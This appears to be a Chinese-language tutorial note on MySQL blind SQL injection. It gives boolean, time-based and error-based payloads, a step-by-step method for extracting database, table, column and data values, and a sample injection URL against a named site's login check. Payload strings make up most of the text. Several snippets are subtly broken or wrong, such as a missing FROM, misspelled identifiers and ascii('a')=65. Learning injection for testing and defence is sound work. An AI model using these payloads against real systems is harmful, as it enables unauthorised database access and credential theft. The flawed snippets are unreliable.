只有生在黑暗里的蛾子才会知道黑暗的恐怖吧……飞在阳光里的蝴蝶,永远都不能明白。
MySQL盲注基础
当你注入测试,发现客户端没有报错,但是又存在注入的时候,不妨试一试盲注.
盲注又分三种:
1. 基于布尔SQL盲注
2. 基于时间的SQL盲注
3. 基于报错的SQL盲注
盲注必知基础
下面这些函数先弄清楚作用,然后判断的时候使用大于小于等于判断,如果判断为真页面就会返回正确的网页,否就返回错误的网页.
left()函数
left(database(),1)>'s'
left(database(),1)='s'
Explain:database()显示数据库名称,left(a,b)从左侧截取a的前b位
substr()函数
substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1)='a'
substr(a,b,c)从b位置开始,截取字符串a的c长度。
mid()函数
mid((select user limit 0,1)0,1)='s'
mid(a,b,c)从位置b开始,截取a字符串的第c位
注意substr()与mid()函数,第一个是截取x个长度,第二个是截取第x位.
ascii()函数
ascii('a')=65
ascii(substr(select * from user limit 0,1)1,1)=62
ascii(substr((select database()),1,1))=98
Ascii()将某个字符转换为ascii值,结合substr一起使用可以来判断括号条件内首字母对应的ascii码大小,然后判断首字母是什么
ord()函数
Ord()函数同ascii(),将字符转为ascii值
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98
ord与mid函数同样可以结合在一起使用,与上面类似
还有一些函数在之前的笔记也有提起,这里不做复述,需要温习点击MySql基础知识
强制报错
有的时候页面不管输入什么语句都不会报错,这个时候可以强制报错根据回显内容判断注入.再次之前要知道count(),rand()函数作用,上面温习的文章有介绍.
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a, 0x3a,floor(rand(0)*2))a from information_schema.columns group by a;
此处有三个点,一是需要concat计数,二是floor,取得0 or 1,进行数据的重复,三是group by进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时重复造成的错误。也有解释为mysql 的bug 的问题。但是此处需要将rand(0),rand()需要多试几次才行。
以上语句可以简化成如下的形式。
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果rand被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
关于详细的盲注介绍可以参考Freebuf上面这篇文章盲注详解
手动盲注步骤
一、基于布尔的盲注:
1.判断是否存在注入,注入是字符型还是数字型,例:1 or 1=1,1' or '1'='1
2.猜解当前数据库名,例:猜长度 and length(database())=1 #,逐个猜字符and ascii(substr(databse(),1,1))>97#
3.猜解数据库中的表名,例:猜表数量 and (select count (table_name) from information_schema.tables where table_schema=database())=1 #,逐个猜表名长度and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #,再逐个猜表名字符 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
4.猜解表中的字段名,例:猜字段数量and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 #,逐个猜字段长度and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #,再逐个猜字段字符(可用二分法)
5.猜解数据,先猜数据记录数(可用二分法),再逐个字段猜数据的长度及数据(可用二分法)
二、基于时间的盲注(对于没有任何输出可作为判断依据的可采用此法,感觉到明显延迟,则说明猜中):
1.判断是否存在注入,注入是字符型还是数字型,例:and sleep(5) #
2.猜解当前数据库名,例:猜长度 and if(length(database())=1,sleep(5),1) # ,逐个猜字符 and if(ascii(substr(database(),1,1))>97,sleep(5),1)
3.猜解数据库中的表名,例:猜表数量 and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#,逐个猜表名长度 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1),再逐个猜表名字符
4.猜解表中的字段名,例:猜字段数量 and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)#,逐个猜字段长度 and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # ,再逐个猜字段字符(可用二分法)
5.猜解数据,先猜数据记录数(可用二分法),再逐个字段猜数据的长度及数据(可用二分法)
最后剩下的要说的就是ascii 函数和hex 函数了
这两个函数的意义是避开php 的GPC 转义,例如:
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#
substr()的用法可以参考MySQL 手册,如果不懂,就这样套好了。Char()里面的数字替换为
ascii 码数字